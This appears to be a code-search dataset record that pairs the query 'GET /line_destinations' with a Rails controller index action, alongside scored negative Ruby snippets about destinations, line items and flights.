"def meow\n puts \"meow!\"\n end",
"def initialize (name) \n #has a name \n @name = name \n #gets called inside initialize when a new Dog is created \n self.save\n end",
"def meow\n puts \"meow!\" #can meow\n end",
"def be_animal\n \"I am an animal named #{self.name}!\"\n end",
"def dog(name)\n return name\nend",
"def dog(name)\n return name\nend",
"def call_friend(friend)\n friend.happiness +=3\n self.happiness +=3\n \"Hi #{friend.name}! It's #{self.name}. How are you?\"\nend",
"def speak(msg=\"foo-instance speaking... \")\n msg=\"foo-instance speaking... \"\n msg + (defined?(super) ? super() : \"\")\n end",
"def initialize(name) #can initialize dog(create new instance of Dog)/callback method\n @name = name #argument is a placeholder/#initialize with a name\n @mood = \"nervous\"\n end",
"def say_that_thing_you_say\n \"#{self.name} always says: #{self.catchphrase}\"\n end",
"def say_that_thing_you_say\n \"#{self.name} always says: #{self.catchphrase}\"\n end",
"def speak\n super(\"Woof\")\n end",
"def flavor\n #object is whatever object you're passing through\n \"Spooky #{object.flavor}\"\n end",
"def dog_eat(items)\n \t items.each do |item|\n \t\t puts \"My puppy likes #{item}\"\n \t end\n end",
"def doom(entity); @doomed << entity; end",
"def cobble\n puts \"Your shoe is as good as new!\"\n @shoe_condition = \"new\"\n end",
"def feedPet\n @pet.eat\n end",
"def bark\n 'Wuff'\n end",
"def love_pet\n puts \"#{@name} loves their pet #{pet.name} so much.\"\n end",
"def meow #teaching the cat how to meow\n puts \"meow!\" \n end",
"def fire(object, *args); end",
"def sayGoodbye\n super << ' and also from MyOtherClass'\n end",
"def meow\n puts \"meow!\"\nend",
"def sayGoodbye\t\n\t\treturn super << \" and also from MyOtherClass\"\n\tend",
"def take_a_drink\n soda.drink_a_soda\n puts \"You drank your soda!\"\n end",
"def fire _obj, _args\n \"_obj fire _args;\" \n end",
"def say_that_thing_you_say\n \"#{self.name} always says: #{self.catchphrase}\"\n end",
"def buzzword; end",
"def buzzword; end",
"def say _obj, _args\n \"_obj say _args;\" \n end"
] |
[
"0.6989789",
"0.68963057",
"0.6743869",
"0.6682192",
"0.6644614",
"0.6644614",
"0.654958",
"0.6546487",
"0.64743114",
"0.6472049",
"0.64384043",
"0.6434797",
"0.64313674",
"0.63718796",
"0.6368267",
"0.63577056",
"0.634488",
"0.634488",
"0.633793",
"0.63212484",
"0.63076377",
"0.6275403",
"0.6274532",
"0.6272634",
"0.6144889",
"0.60995764",
"0.6051582",
"0.6035959",
"0.6029148",
"0.6028593",
"0.6006376",
"0.6000528",
"0.59896404",
"0.5985861",
"0.5977708",
"0.597379",
"0.59605485",
"0.5957316",
"0.5948672",
"0.59392315",
"0.5930365",
"0.5923406",
"0.59108776",
"0.59108776",
"0.5903443",
"0.58756894",
"0.5875185",
"0.5847908",
"0.5846999",
"0.58454365",
"0.5829468",
"0.58253556",
"0.5822508",
"0.5820703",
"0.5820703",
"0.58171964",
"0.5810835",
"0.5772772",
"0.57619154",
"0.5754898",
"0.5723584",
"0.57228446",
"0.57227033",
"0.5703811",
"0.56722367",
"0.5671019",
"0.56692857",
"0.56682545",
"0.56661266",
"0.5657202",
"0.5657202",
"0.5646146",
"0.5643386",
"0.56417054",
"0.5636879",
"0.5636879",
"0.56045765",
"0.5594507",
"0.5584478",
"0.55783933",
"0.55783933",
"0.5570104",
"0.55698884",
"0.5562089",
"0.5553373",
"0.55412775",
"0.55404747",
"0.54955494",
"0.5492999",
"0.54920614",
"0.54903924",
"0.54777133",
"0.54608977",
"0.54587775",
"0.5450203",
"0.5449717",
"0.54384154",
"0.5438091",
"0.5438091",
"0.54271495"
] |
0.59296244
|
41
|
GET /line_destinations GET /line_destinations.json
|
def index
@line_destinations = LineDestination.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_flight_destinations\n @flights = Flight.all.map(&:destination)\n end",
"def get_destinations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DataExportDestinationsApi.get_destinations ...'\n end\n # resource path\n local_var_path = '/destinations'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Destinations')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DataExportDestinationsApi#get_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def destinations\n @destinations ||= []\n end",
"def set_line_destination\n @line_destination = LineDestination.find(params[:id])\n end",
"def get_destinations(opts = {})\n data, _status_code, _headers = get_destinations_with_http_info(opts)\n data\n end",
"def index\n @destinations = Destination.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @destinations }\n end\n end",
"def show\n @destinations = [@destination]\n @trips = @destination.trips.order(:arrived_on).reverse\n @venues = @destination.venues.order(:name)\n @posts = @destination.posts.order(:created_at).reverse\n end",
"def index\n @destinations = Destination.all\n end",
"def index\n @destinations = current_user.destinations\n end",
"def directions(origin, destination)\n directions = []\n\n request = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/directions/json\",\n :query_values => {\n :origin => origin.join(','),\n :destination => destination.join(','),\n :sensor => \"false\",\n :mode => \"walking\"\n }\n )\n\n response = RestClient.get(request.to_s)\n\n parsed_response = JSON.parse(response)\n\n parsed_response[\"routes\"][0][\"legs\"][0][\"steps\"].each do |step|\n parsed_html = Nokogiri::HTML(step[\"html_instructions\"])\n directions << parsed_html.text\n end\n\n directions\nend",
"def line_destination_params\n params.require(:line_destination).permit(:destination_id, :plan_id)\n end",
"def show\n\t\t@destination = Destination.find(params[:id])\n\t\t@itineraries = @destination.itineraries\n\t\tobject = {:destination => @destination, :itineraries => @itineraries}\n\t\tputs object\n\t\trespond_with @destination, object\n\tend",
"def destroy\n @line_destination.destroy\n respond_to do |format|\n format.html { redirect_to line_destinations_url, notice: 'Line destination was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\n @destination = Destination.find(params[:id])\n @rentals = @destination.rentals\n\n @json = @destination.to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def index\n @travel_destinations = TravelDestination.all\n end",
"def range\n #@lines = Line.where(:no=> params[:id])\n line_range = params[:id].split(\"-\")\n @stanzas = Stanza.where(:section_id=>line_range[0]..line_range[2],:runningno=>line_range[1]..line_range[3]).order('no')\n lines = Array.new\n @stanzas.each {|s| lines << s.cached_lines }\n respond_to do |format|\n format.html #range.html.erb\n format.json {render :json => lines.to_json(:only =>[:line, :stanza_id],:methods=>[:section,:runningno,:share_url,:no])}\n end\n end",
"def update\n respond_to do |format|\n if @line_destination.update(line_destination_params)\n format.html { redirect_to @line_destination, notice: 'Line destination was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_destination }\n else\n format.html { render :edit }\n format.json { render json: @line_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n destination = Destination.find(params[:destination_id])\n @line_destination = @plan.add_destination(destination.id)\n\n respond_to do |format|\n if @line_destination.save\n format.html { redirect_to @line_destination.plan, notice: 'Line destination was successfully created.' }\n format.json { render :show, status: :created, location: @line_destination }\n else\n format.html { render :new }\n format.json { render json: @line_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\r\n @destinations = Destination.all\r\n @destination = Destination.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @destination }\r\n end\r\n end",
"def index\n @relay_destinations = @relay.relay_destinations.order(base_url: :asc).all\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def index\n @shipping_lines = ShippingLine.all\n end",
"def flight_route(origin, destination, date=nil, params={})\n args = [origin, 'departures', destination, format(date)].compact.join('/')\n perform_get(\"/airports/#{args}.xml\", params)\n end",
"def show\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def show\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def directions(user_address, end_address)\n directions_url = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/directions/json\",\n :query_values => {:origin => user_address,\n :destination => end_address,\n :sensor => false}\n ).to_s\n\n legs = JSON.parse(RestClient.get(directions_url))[\"routes\"][0][\"legs\"]\n\n directions = legs[0][\"start_address\"] + \"\\n\"\n steps = legs[0][\"steps\"]\n steps.each do |step|\n directions += \"#{Nokogiri::HTML(step[\"html_instructions\"]).text} \" +\n \"[#{step[\"distance\"][\"text\"]}]\\n\"\n end\n directions += legs[0][\"end_address\"]\nend",
"def show\n @line_item = @order.line_items.find(params[:id])\n\n render json: @line_item\n end",
"def index\n @consultant_customer_destinations = ConsultantCustomerDestination.all\n end",
"def index\n #@destinations = Destination.all\n\n if params[:name]\n @destinations = Destination.find_all_by_name(params[:name])\n else\n @destinations = Destination.all\n end\n\n @json = @destinations.to_gmaps4rails do |destination, marker|\n marker.infowindow render_to_string(:partial => \"/destinations/infowindow\",\n :locals => { :destination => destination})\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @destinations }\n end\n end",
"def range\n #@lines = Line.where(:no=> params[:id])\n line_range = params[:id].split(\"-\")\n @lines = Line.where(:no=>line_range[0]..line_range[1])\n line_op = Hash.new\n respond_to do |format|\n format.html #range.html.erb\n #format.json { render json: @lines }\n format.json {render :json => @lines.to_json(:only =>[:line, :stanza_id],:methods=>[:section,:runningno,:share_url])}\n #format.json {render :json => {:lines => @lines, :marker => line_op }}\n end\n end",
"def show\n @tripJson = []\n @trip.segments.order(:order).each do |segment|\n locations = []\n segment.locations.order(:order).each do |location|\n locations << {:id => location.id, :lat => location.latitude, :lng => location.longitude }\n end\n @tripJson << {:id => segment.id, :transportation => segment.transportation, :locations => locations}\n end\n end",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def index\n @destination = Destination.new\n set_destinations\n end",
"def get_directions(start_point, end_point)\n user_direc = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"/maps/api/directions/json\",\n :query_values => {:origin => \"#{start_point}\",\n :destination => \"#{end_point}\",\n :sensor => \"false\",\n :mode => \"walking\"}\n )\n directions_json = RestClient.get(user_direc.to_s)\n JSON.parse(directions_json)\n end",
"def show\n @shipping_line = ShippingLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @shipping_line }\n end\n end",
"def index\n query = params[:q].presence || \"*\"\n @destinations = Destination.search(query)\n end",
"def index\r\n @destinations = Destination.order(\"ancestry ASC\").page(params[:page])\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @destinations }\r\n end\r\n end",
"def generate_routes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tputs \"Agragando ruta: \"+item[\"codigo_linea\"]\n\t\t\tcsv << [item[\"codigo_linea\"], 0, 'FFFFFF']\n\t\tend\n\tend\nend",
"def show\n\t\tdestination = Destination.find(params[:destination_id])\n\t\titinerary = destination.Itinerary.find(params[:id])\n\t\trespond_with destination, itinerary\n\tend",
"def get_flights_costs(country)\n\tcoll = settings.db.collection(\"flights\")\n\tresult = {}\n\tflights = coll.find({\"origin_country\"=>country}).each { |row| result[row['id']] = row }\n\tputs result\n\tdestinations = result[\"destinations\"]\n\treturn destinations\nend",
"def show\n puts params.inspect.green\n\n @line_item = LineItem.find(params[:id])\n\n puts @line_items.inspect.magenta\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @destination = Destination.find(params[:id])\n setup_show_data\n\n client = TwitterHelper.get_client\n @twitter_data = client.search(\"to: #{@destination.city}, travel\", :result_type => \"recent\").take(3)\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def get_points_for(trip)\n points = Array.new\n trip.destinations.each do |d|\n if d.has_location?\n points << LatLonPoint.new([d.location.lat, d.location.lng])\n end\n end\n points\n end",
"def active_remote_destinations; end",
"def shortest_paths(dest)\n position = dest\n final = {}\n analisados = {}\n route = []\n route << dest\n @previous['a'] = -1\n\n @nodes.each do |n|\n analisados[n] = false\n end\n analisados[position] = true\n\n while analisados(analisados)\n adyacentes(position, analisados).each do |n|\n if @distance[n] == (@distance[position] - graph[n][position])\n @previous[position] = n\n position = n\n route << n\n end\n analisados[n] = true\n end\n\n end\n route << 'a'\n route\n end",
"def show\n @service = Service.find(params[:id])\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { \n render :json => @service.to_json(:methods => [:polyline],:only => [:shipment]) \n }\n end\n end",
"def show\n @lineup = Lineup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineup }\n end\n end",
"def arrivals\n #Project.hit 35\n @departing = false\n @from = params[:from]\n @to = params[:to]\n\n unless @from.nil? and @to.nil?\n @planes = get_flights(@from, @to, @departing)\n @airports = did_you_mean @from, @to if @planes == []\n end\n\n respond_to do |format|\n format.html \n format.json { render json: @planes, callback: params[:callback] }\n format.xml { render xml: @planes }\n end\n end",
"def destinations\n bookmarks = @medium.manuscript.metadata['bookmarks'] || []\n bookmarks.map { |b| b['destination'] }\n end",
"def index\n\n @metro_lines = MetroLine.all\n\n render json: @metro_lines\n\n end",
"def get_destination_ids\n destination_ids = []\n get_choices.each do |choice|\n destination_ids << choice.destination_id\n end\n destination_ids\n end",
"def add=(location)\n @destinations << location\n end",
"def destination(access_token:, params: {})\n ride_id = require_ride_id(params)\n resp = connection(access_token).put do |req|\n req.url \"/#{Api::VERSION}/rides/#{ride_id}/destination\"\n req.body = params\n end\n handle_response(resp)\n end",
"def index\n @subscriber = Subscriber.find(session[:subscriber_id])\n @shipping_addresses = @subscriber.shipping_addresses\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shipping_addresses }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def destinations\n [to_addrs, cc_addrs, bcc_addrs].compact.flatten\n end",
"def index\n @user = current_user\n @destinations = Destination.search(params[:search])\n end",
"def index\n flights = scope.includes(:departure_airport, :destination_airport,\n :flight_executions).page(page)\n .per(per)\n json_response(PageDecorator.decorate(flights)\n .as_json(flight_details: true), :ok)\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @destination_linksets = DestinationLinkset.all\n end",
"def index\n @line_livers = LineLiver.all\n end",
"def show\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order_line }\n end\n end",
"def top_flight_destinations_with_http_info(apikey, period, origin, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.top_flight_destinations ...\"\n end\n # verify the required parameter 'apikey' is set\n fail ArgumentError, \"Missing the required parameter 'apikey' when calling DefaultApi.top_flight_destinations\" if apikey.nil?\n # verify the required parameter 'period' is set\n fail ArgumentError, \"Missing the required parameter 'period' when calling DefaultApi.top_flight_destinations\" if period.nil?\n # verify the required parameter 'origin' is set\n fail ArgumentError, \"Missing the required parameter 'origin' when calling DefaultApi.top_flight_destinations\" if origin.nil?\n # resource path\n local_var_path = \"/travel-intelligence/top-destinations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'apikey'] = apikey\n query_params[:'period'] = period\n query_params[:'origin'] = origin\n query_params[:'number_of_results'] = opts[:'number_of_results'] if !opts[:'number_of_results'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TopDestinationsSearchResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#top_flight_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @bus_line_directions = BusLineDirection.all\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def single_line_trip( line, start_station, end_station )\n stations = @stations[ line ]\n if stations.index( start_station ) > stations.index( end_station )\n stations.reverse!\n end\n stations[stations.index( start_station )..stations.index( end_station )]\nend",
"def show\n @journey = Journey.find(params[:id])\n render json: @journey\n end",
"def departures\n # Project.hit 35\n @departing = true\n @from = params[:from]\n @to = params[:to]\n \n unless @from.nil? and @to.nil?\n @planes = get_flights(@from, @to, @departing)\n @airports = did_you_mean @from, @to if @planes == []\n end\n \n respond_to do |format|\n format.html\n format.json { render json: @planes, callback: params[:callback] }\n format.xml { render xml: @planes }\n end\n end",
"def airports\n if params['lat'] and params['lng']\n @order = params[:order] || \"distance ASC\"\n distance = \"7912*ASIN(SQRT(POWER(SIN((lat-#{params['lat']})*pi()/180/2),2)+COS(lat*pi()/180)*COS(#{params['lat']}*pi()/180)*POWER(SIN((lng-#{params['lng']})*pi()/180/2),2)))\"\n @locations = Airport.select(\"airports.*, #{distance} AS distance\").where(\"lat IS NOT NULL AND lng IS NOT NULL\").order(@order).paginate(@page)\n else\n @locations = Airport.all\n end\n\n respond_to do |format|\n format.html \n format.json { render json: @locations, callback: params[:callback] }\n format.xml { render xml: @locations }\n end\n end",
"def show\n @trip = Trip.find(params[:id])\n @markers = @trip.markers\n @gmaps_options = @markers.to_gmaps4rails\n\n @polylines_json = {}\n polylines = [] \n polylines[0] = []\n @trip.markers.each do |marker|\n polylines[0] += [{:lng=>marker.longitude.to_f, :lat=>marker.latitude.to_f}]\n end\n\n \n @polylines_json = polylines.to_json\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip }\n end\n end",
"def show\n @line = Line.find_by_no(params[:id]) || not_found\n authorize! :index, @line\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def create\n @destination = Destination.new(destination_params)\n @destination.save\n set_destinations\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def index\n @line_stations = LineStation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_stations }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n next_url = {}\n next_url = {next: {profile: \"http://#{my_address}:3000/pickup\", href: \"http://#{my_address}:3000/orders/pickup/#{@order.id}\", enctype: 'application/json'}} if @order.status == \"ready\"\n respond_to do |format|\n response_json = { drink: @order.drink, status: @order.status, additions: @order.additions, _links: next_url}\n format.json { render json: response_json, status: 200 }\n end\n end",
"def show\n @route_line = RouteLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route_line }\n end\n end",
"def trips\n flight = Flight.where(\"id = ?\", params[:id]).take\n if flight.nil?\n render :json => {errors: \"404\"}, :status => 404\n else\n respond_with( flight.trips )\n end\n end",
"def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end"
] |
[
"0.642937",
"0.6342397",
"0.6016483",
"0.59665376",
"0.5958714",
"0.5948643",
"0.59105057",
"0.59074074",
"0.58959484",
"0.5877479",
"0.58273005",
"0.5752508",
"0.5683408",
"0.56816554",
"0.5662989",
"0.558983",
"0.5580443",
"0.5572349",
"0.5561302",
"0.55530626",
"0.5514585",
"0.5493464",
"0.546259",
"0.5458033",
"0.5458033",
"0.544321",
"0.5425581",
"0.54087687",
"0.53845876",
"0.5379959",
"0.5334905",
"0.53035915",
"0.5303345",
"0.5287466",
"0.5285212",
"0.5284965",
"0.5255339",
"0.52468956",
"0.52332103",
"0.5207142",
"0.51982695",
"0.51881117",
"0.518689",
"0.5144941",
"0.51448846",
"0.5132334",
"0.51283765",
"0.51275307",
"0.51234335",
"0.5112938",
"0.51083153",
"0.50728047",
"0.50480163",
"0.5042509",
"0.50403404",
"0.5035645",
"0.5032721",
"0.50309956",
"0.5028921",
"0.50284046",
"0.50284046",
"0.50284046",
"0.50284046",
"0.5022436",
"0.50173765",
"0.5013495",
"0.50084853",
"0.5007557",
"0.5003268",
"0.498661",
"0.4983657",
"0.49738374",
"0.49729335",
"0.4970083",
"0.49684456",
"0.49571502",
"0.4954533",
"0.49542645",
"0.49540466",
"0.49540466",
"0.49540466",
"0.49540466",
"0.49540466",
"0.49540466",
"0.49540466",
"0.49510288",
"0.4947249",
"0.49384737",
"0.49352592",
"0.4933867",
"0.49317664",
"0.49317664",
"0.49317664",
"0.49317664",
"0.49317664",
"0.49317664",
"0.49317664",
"0.49317664",
"0.49317664",
"0.49317664"
] |
0.7743551
|
0
|
GET /line_destinations/1 GET /line_destinations/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @line_destinations = LineDestination.all\n end",
"def set_line_destination\n @line_destination = LineDestination.find(params[:id])\n end",
"def get_destinations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DataExportDestinationsApi.get_destinations ...'\n end\n # resource path\n local_var_path = '/destinations'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Destinations')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DataExportDestinationsApi#get_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_flight_destinations\n @flights = Flight.all.map(&:destination)\n end",
"def show\n\t\t@destination = Destination.find(params[:id])\n\t\t@itineraries = @destination.itineraries\n\t\tobject = {:destination => @destination, :itineraries => @itineraries}\n\t\tputs object\n\t\trespond_with @destination, object\n\tend",
"def show\n @destination = Destination.find(params[:id])\n @rentals = @destination.rentals\n\n @json = @destination.to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def index\n @destinations = Destination.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @destinations }\n end\n end",
"def show\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def show\n @destination = Destination.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @destination }\n end\n end",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def show\n @line_item = @order.line_items.find(params[:id])\n\n render json: @line_item\n end",
"def show\n @destinations = [@destination]\n @trips = @destination.trips.order(:arrived_on).reverse\n @venues = @destination.venues.order(:name)\n @posts = @destination.posts.order(:created_at).reverse\n end",
"def show\n @shipping_line = ShippingLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @shipping_line }\n end\n end",
"def update\n respond_to do |format|\n if @line_destination.update(line_destination_params)\n format.html { redirect_to @line_destination, notice: 'Line destination was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_destination }\n else\n format.html { render :edit }\n format.json { render json: @line_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n destination = Destination.find(params[:destination_id])\n @line_destination = @plan.add_destination(destination.id)\n\n respond_to do |format|\n if @line_destination.save\n format.html { redirect_to @line_destination.plan, notice: 'Line destination was successfully created.' }\n format.json { render :show, status: :created, location: @line_destination }\n else\n format.html { render :new }\n format.json { render json: @line_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @line_destination.destroy\n respond_to do |format|\n format.html { redirect_to line_destinations_url, notice: 'Line destination was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def show\r\n @destinations = Destination.all\r\n @destination = Destination.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @destination }\r\n end\r\n end",
"def line_destination_params\n params.require(:line_destination).permit(:destination_id, :plan_id)\n end",
"def index\n @destinations = Destination.all\n end",
"def directions(origin, destination)\n directions = []\n\n request = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/directions/json\",\n :query_values => {\n :origin => origin.join(','),\n :destination => destination.join(','),\n :sensor => \"false\",\n :mode => \"walking\"\n }\n )\n\n response = RestClient.get(request.to_s)\n\n parsed_response = JSON.parse(response)\n\n parsed_response[\"routes\"][0][\"legs\"][0][\"steps\"].each do |step|\n parsed_html = Nokogiri::HTML(step[\"html_instructions\"])\n directions << parsed_html.text\n end\n\n directions\nend",
"def index\n @destinations = current_user.destinations\n end",
"def range\n #@lines = Line.where(:no=> params[:id])\n line_range = params[:id].split(\"-\")\n @stanzas = Stanza.where(:section_id=>line_range[0]..line_range[2],:runningno=>line_range[1]..line_range[3]).order('no')\n lines = Array.new\n @stanzas.each {|s| lines << s.cached_lines }\n respond_to do |format|\n format.html #range.html.erb\n format.json {render :json => lines.to_json(:only =>[:line, :stanza_id],:methods=>[:section,:runningno,:share_url,:no])}\n end\n end",
"def show\n puts params.inspect.green\n\n @line_item = LineItem.find(params[:id])\n\n puts @line_items.inspect.magenta\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def index\n @relay_destinations = @relay.relay_destinations.order(base_url: :asc).all\n end",
"def show\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def show\n @line = Line.find_by_no(params[:id]) || not_found\n authorize! :index, @line\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def show\n\t\tdestination = Destination.find(params[:destination_id])\n\t\titinerary = destination.Itinerary.find(params[:id])\n\t\trespond_with destination, itinerary\n\tend",
"def show\n @lineup = Lineup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineup }\n end\n end",
"def flight_route(origin, destination, date=nil, params={})\n args = [origin, 'departures', destination, format(date)].compact.join('/')\n perform_get(\"/airports/#{args}.xml\", params)\n end",
"def index\n @shipping_lines = ShippingLine.all\n end",
"def index\n @travel_destinations = TravelDestination.all\n end",
"def destinations\n @destinations ||= []\n end",
